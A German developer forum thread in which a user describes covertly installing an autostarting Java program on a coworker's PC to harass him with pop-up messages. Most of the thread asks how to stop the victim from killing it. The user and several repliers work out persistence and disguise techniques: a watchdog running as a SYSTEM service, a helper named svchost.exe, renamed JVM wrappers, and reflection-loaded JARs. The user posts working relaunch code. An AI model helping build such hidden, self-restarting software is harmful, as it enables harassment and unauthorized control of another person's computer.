ERLEDIGT
NEIN
NEIN
ANTWORTEN
12
12
ZUGRIFFE
468
468
EMPFEHLEN
-
22.08.11 14:25 #1
- Registriert seit
- Feb 2011
- Beiträge
- 14
Hallo zusammen.
Ich habe einen Auftrag erhalten, ein Programm zu schreiben, welches einen Mitarbeiter etwas plagen soll (ist kein Witz!
) .
So habe ich also etwas geschrieben, welches ich mit Java in Verbindung mit JSF realisiert habe.
Aufbau:
Das Ganze ist eine simple Client-Server Verbindung, wobei der Rechner des Kollegen der Server ist.
Serverseitig ist es eine JAR, welche in den Rechner eingeschleust und in den Autostart hinzugefügt wird.
Clientseitig ist es ein alter Notebook, der im Dauerbetrieb ist, worauf eine JSF Seite per Apache Tomcat läuft.
Anwendung:
Auf der JSF Page schreibt man eine Nachricht in eine inputTextarea ein und klickt auf den "Senden" Button.
Ein angegebenen Rechner per IP wird angepeilt, es wird eine Connection aufgebaut und beim angepeilten Rechner erscheint dann ein JFrame mit dem Inhalt der Nachricht, die ihm zugesandt wurde.
So weit funktioniert das auch.
Nur sehe ich da ein Problem.
Wenn der geliebte Mitarbeiter nun den Taskmanager öffnen und einfach den javaw.exe Prozess killen würde, hätte er schon ruhe.
Genau dies will ich aber verhindern.
Darum die Frage: Kann man eine JAR (bzw. den Prozess) dazu bringen, sich selbst aufzurufen, wenn sie beendet wird?
Es muss auch nicht zwingend mit Java realisierbar sein.
Kann auch sonst mit irgend einer Script-Sprache oder so umgesetzt werden.
Wäre echt froh um ein paar Tipps!
Noch zum unterstreichen: NEIN, ich bin kein Fiesling und das Fremde hetzen. Es geht nur um den einen Mitarbeiter..
-
Hi
unabhängig davon, dass ich das auch bei nur einem Mitarbeiter nicht gut finde:
Geht nicht.
Wenn ein Programm normal beendet wird, schon.
Taskmgr ist aber nicht normal.
Die Java-Runtime merkt dabei gar nicht, dass sie gleich gekillt wird.
Da bräuchte man einen zweiten Prozess, der aufpasst.
Der kann aber genauso beendet werden.
Wenn du eine vergleichsmäßig sichere Möglichkeit suchst:
-Lern C.
-Schau dir den Selbstschutz von Antivirenprogrammen an. Rootkittechniken usw...
-In ein paar Jahren kannst du dich wieder melden
Gruß
-
22.08.11 15:30 #3
- Registriert seit
- Feb 2011
- Beiträge
- 14
Miist.. Dacht ichs mir doch..
Habe jetzt einen neuen Plan.
Und zwar werde ich versuchen, mit C ein Programm mit dem Namen svchost.exe (damit es nicht ganz so auffällig ist) zu schreiben und mit Hilfe dieses Programms überprüfen, ob javaw.exe noch am laufen ist oder nicht.
Wenn ja, ist alles gut und wenn nicht, dann soll es die JAR ausführen.
Das Problem ist, dass ich C seit über einem Jahr nicht mehr gewagt habe anzufassen, was mich offensichtlich einiges vergessen liess..
Wie kann ich die Ausgabe eines System-Befehls in eine Variable speichern? o.Oi
Mein Versuch schaut so aus:
Code c:
Aber irgendwie meldet der Compiler einen Fehler, wenn ich das versuche :s
Woran liegt das?
-
22.08.11 15:33 #4
Hi,
das ist wohl eine Frage, die du eher im C/C++ Forum stellen solltest.
Gruß
FabioBitte die Code-Tags verwenden. Bei Java-Code: [java]...[/java]
Tutorials:
Automatisches erzeugen eines Inhaltsverzeichnisses (Javascript)
JAnimationPanel - Animationen für Swing/AWT
SWTRatingBar (Bewertungs-Composite) selbst programmieren
____________________________________________________________________________
Über eine Bewertung (Stern links unter dem Beitrag) oder ein Danke freue ich mich sehr.
-
22.08.11 15:40 #5SE Tutorials.de Gastzugang
Na das bringt es ja ... eine Anwendung zu schreiben welche "zufällig" so heißt wie ein System-Dienst. Das Problem : es fällt sehr schnell auf das eine svchost.exe NICHT von SYSTEM oder SERVICE gestartet wurde sondern vom User selbst .... wesshalb er die Rechte hat diese zu killen ...
Wenn man schnell genug ist hat man auch wieder ruhe.
Ich würde das noch viel einfacher machen : Benutzerrechte
Wir alle wissen das ein User *hier mal A* der nur über "normale" Rechte verfügt nicht den User *natürlich B* manipulieren kann.
Das wohl bekannteste Beispiel ist der Schutz von System-Ordnern der WinNT Familie *NT4 , 2k , XP und alles danach*. Es gibt einen versteckten User mit dem Namen "SYSTEM".
Um seine Position klar zustellen muss ich mal etwas aus dem Unix Umfeld ausholen :
Unter NT gibt es einen User mit dem Namen Administrator. Er ist vergleichbar mit ROOT unter Unix. System ist jetzt aber noch etwas mächtiger weil dieser "User" das Kernel repräsentiert. Mit Unix verglichen wäre es dann also das Kernel selbst welches die existenz von Root er ermöglicht.
Natürlich gibt es unter Windows noch eine Reihe anderer System-User wie LocalService, LocalNetworkService, ScriptHost, und einige andere ...
Was hat das mit deinem Problem zu tun ? Nun ... am einfachsten wäre es sich nun als Administrator einzuloggen und einen neuen Dienst zu erstellen welcher für die überwachung des Programms zuständig ist. Das funktioniert auch mit Java.
Diesen Dienst dann natürlich noch auf Autostart stellen und entsprechend Rechte vergeben ... und schon man eine solche "Nerv-Bombe" fertig.
Warum hilft das ? Nun ... da der User natürlich keine Rechte hat andere User zu manipuliere *von den "höherranigen" System-Usern mal gaanz zu schweigen* ist es ihm nicht möglich einen Dienst zu manipulieren welcher von System oder LocalService gestartet wurde. Der User würde dann beim Versuch java.exe über den Taskmanager zu killen lediglich eine Meldung bekommen das er dazu keine Rechte hat.
*Funktioniert analog natürlich auch ähnlich unter Unix*
Diese Variante hat zwei Vorteile
1) Ist für "fast" jede Programmiersprache geeignet.
2) Ist deutlich sicherer als andere Verfahren da hier das Rechtesystem genutzt wird.Geändert von SE (22.08.11 um 15:42 Uhr)
-
Huhu,
Wenn es sich um Windows XP Professional handelt, könnte man "net send" benutzen, und unter Windows Vista/7 ab Professional msg.exe.
Damit kann eine Nachricht zu einem angegebenen Computer im Netzwerk schicken.
Da steht dann sowas wie:
Den Nachrichtendienst kann man aber soweit ich weiß deaktivieren...Nachricht von COMPUTERNAMEHIER:
<NACHRICHT HIER>
Die Methode von SPiKEe ist gut durchdacht und einen Versuch wert.
Am besten man schreibt sich für das Java Programm noch zusätzlich einen Wrapper, welcher die jvm.dll instanziert und den eigenen Prozessnamen benutzt.
Die einzige Schwachstelle ist die JVM selbst, sowie die ausfühbare Datei (jar, exe...).
Wenn man die löscht, ist's aus.
Da müsste man noch ein bisschen weiter an den Rechten schrauben.
-
24.08.11 09:04 #7
- Registriert seit
- Jun 2009
- Beiträge
- 870
@mccae: Dafür gibt es auch Zugriffsrechte auf Ordner/Dateien.
Code bitte so einfügen: [java]System.out.println("Hallo");[/java] (Analog für andere Programmiersprachen)
hilfreich zu Java: Really Big Index, Java ist auch eine Insel Band 1 und Band 2.Code java:1
System.out.println("Hallo");
___________
Ubuntu Bug #1: Microsoft has a majority market share
Casecon: Projekt leiser Käse
-
24.08.11 15:28 #8
- Registriert seit
- Feb 2011
- Beiträge
- 14
Ich habe jetzt eine zusätzliche kleine Java-Anwendung geschrieben, die ich mit exe4j zu einem EXE umwandelte und habe sie als Dienst installiert.
Dieser Dienst überprüft, ob javaw.exe oder java.exe am laufen ist. Wenn ja, schläft er für 3 Sekunden. Wenn nicht, dann ruft er die JAR mit java -jar auf.
So weit, so gut, aber da bleiben immer noch ein paar Fragen übrig:
1) Wieso heisst der Prozess java.exe, wenn er vom Dienst gestartet wird? Bei einem Doppelklick oder sonstigem Aufruf als User heisst der Prozess javaw.exe.
2) Wie kann das sein, dass die Nachrichtenübermittlung nur funktioniert, wenn ich die JAR als User ausführe, nicht aber wenn der Dienst sie aufruft****
3) Wie stellt man denn ein, dass Prozesse vom SYSTEM User nicht beendet werden können? Ich kann sie auf jeden Fall problemlos beenden, als User in der Administratorengruppe...
-
24.08.11 15:48 #9SE Tutorials.de Gastzugang
Wenn du dir den aufwand schon machst und einen Java-Launcher in eine Exe umwandelst ... warum startest du dann aus diesem Launcher deine Anwendung über einen Process ? ... Lad dein app doch einfach als Member , instanziere sie und führen dann die start-Methode aus. Du denkst hier viel zu kompliziert.
Einen Dienst via SYSTEM starten und dann noch vehindern das er nicht von nem Admin gekillt werden kann ? Tja ... nur möglich wenn du dich als SYSTEM einloggst und den Dienst mit entsprechenden Parametern *critical* erstellst. Aber um dich als SYSTEM einzuloggen bedarf es schon ein paar Tricks die du so einfach nicht umsetzen können wirst. Warum ist der User den du mit deiner Java-Anwendung überwachen willst eigentlich in der Admin Gruppe ? ... Dann nützt es auch nichts mit dem Rechtesystem zu arbeiten wenn du es dadurch wieder aushebelst.
-
24.08.11 16:33 #10
- Registriert seit
- Feb 2011
- Beiträge
- 14
... Hä?
Und jetzt auf Deutsch?
Das ist mir jetzt grad irgend wie zu hoch.. (o_Oi)
Ist halt unser Firmenstandart. Jeder Domänen-User hat lokale Admin Rechte.Warum ist der User den du mit deiner Java-Anwendung überwachen willst eigentlich in der Admin Gruppe ?
Das ist ja gerade der Knifflige daran.
Aber ich kann mir immer noch nicht erklären, wieso das Ganze nicht auf meine Art wie oben beschrieben funktioniert :s
Klar, wäre es auch nicht die ultimative Lösung, da man ja immer noch den Prozess killen kann, der vom Dienst kommt, aber er würde sich immerhin etwas besser tarnen lassen, da im Taskmanager als User SYSTEM angegeben ist.
Vielleicht mache ich das ja auch komplett verkehrt, mit dem JAR aufruf:
Code java:1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
while(true) { Runtime rt = Runtime.getRuntime(); Process proc = rt.exec("tasklist"); BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream())); String poke=""; String poke2=""; while(poke!=null) { poke=stdInput.readLine(); poke2+=poke; } if(poke2.indexOf("javaw.exe")!=-1 || poke2.indexOf("java.exe")!=-1) { try { Thread.sleep(3000); } catch (InterruptedException e) { // TODO Auto-generated catch block e.printStackTrace(); } } else rt.exec("java -jar C:\\PokeTheJan2.jar"); }
Habe ich da einen Denkfehler drin? :?Geändert von PsychedelicSpark (24.08.11 um 16:47 Uhr)
-
24.08.11 17:00 #11SE Tutorials.de Gastzugang
Das was ich da oben geschrieben habe ist auch wieder nur simples OOP :
Jar via URLClassLoader laden
Klasse via URLClassLoader.loadClass() finden und laden
Object mit Class.newInstance() erzeugen
mit reflections die start-Methode der Klasse aufrufen *nach Möglichkeit sollte diese nicht unbedingt main oder start heißen*
Zu dem Punkt das bei euch alle User local-Admin haben : ich wünsch euren ITs viel Spass wenn sich mal einer in den Server knackt.
Ich weis nicht ob jemandem das Sicherheitsrisiko bewusst ist ... aber mir fällt persönlich kein Grund dazu ein sowas überhaupt zu machen. Alleine schon wegen der Tatsache das es normalerweise Usern nicht gestattet sein sollte Software zu installieren , zu ändern oder gar zu deinstallieren. Auch sollte der Zugriff auf System-Einstellungen blockiert werden. Alles in allem eine sehr leichtsinnige Arbeitsweise eurere ITs die deine Aufgabe entsprechend schwerer macht.
-
Und was hat der User davon, wenn er sich auf dem Server einloggt? Lokale Admin-Rechte beziehen sich nur auf den Rechner und nicht auf die Domäne.
-
29.08.11 16:11 #13
- Registriert seit
- Feb 2011
- Beiträge
- 14
Ich habe es jetzt mit viel gegoogle und gewurstle hinbekommen, dass ich die Methode der JAR aus dem Dienst aus aufrufen kann.
Das Problem ist aber, dass ich es nur so hinbekommen habe, dass die JAR nicht in einem eigenen Prozess startet, weswegen ich nie so recht weiss, ob die JAR nun läuft oder nicht...
Und zur Sicherheitssystem der Firma:
Da unsere Firma hauptsächlich aus Entwicklern besteht, haben die natürlich auch Vorrang und es wäre absolut mühsam und auch schon fast unmöglich anständig zu entwickeln, wenn man nicht einmal lokale Admin Rechte hat.
Auf das Netzwerk haben sie aber natürlich nur beschränkten Zugriff, da sie auch keine Domänen-Admin Rechte haben.
Der einzige Kritikpunkt wäre halt, dass sie Viren von aussen in unser Netzwerk schleusen könnten, doch das ist ohnehin ein fast unmöglich zu verhinderndes Risiko.
Ähnliche Themen
-
Perl: Prozess nach 1 Stunde kontrolliert beenden und neustarten: alarm() geht nicht
Von Marius Heil im Forum CGI, Perl, Python, Ruby, Power ShellAntworten: 1Letzter Beitrag: 19.03.08, 17:07 -
"Fehler beim Lesen des Datenträgers Strg+alt+entf zum neustarten" beim Systemstart
Von Maxmann2 im Forum Microsoft WindowsAntworten: 0Letzter Beitrag: 08.12.05, 20:01 -
MDI Anwendung: Speichern beim Beenden
Von LieberNet im Forum .NET ArchivAntworten: 3Letzter Beitrag: 01.06.05, 11:20 -
[C] beenden der anwendung verhindern
Von daleIlowmo im Forum C/C++Antworten: 4Letzter Beitrag: 23.08.03, 14:30 -
beenden der anwendung
Von thecooper im Forum Visual Basic 6.0Antworten: 2Letzter Beitrag: 26.07.03, 16:04





Zitieren


Login





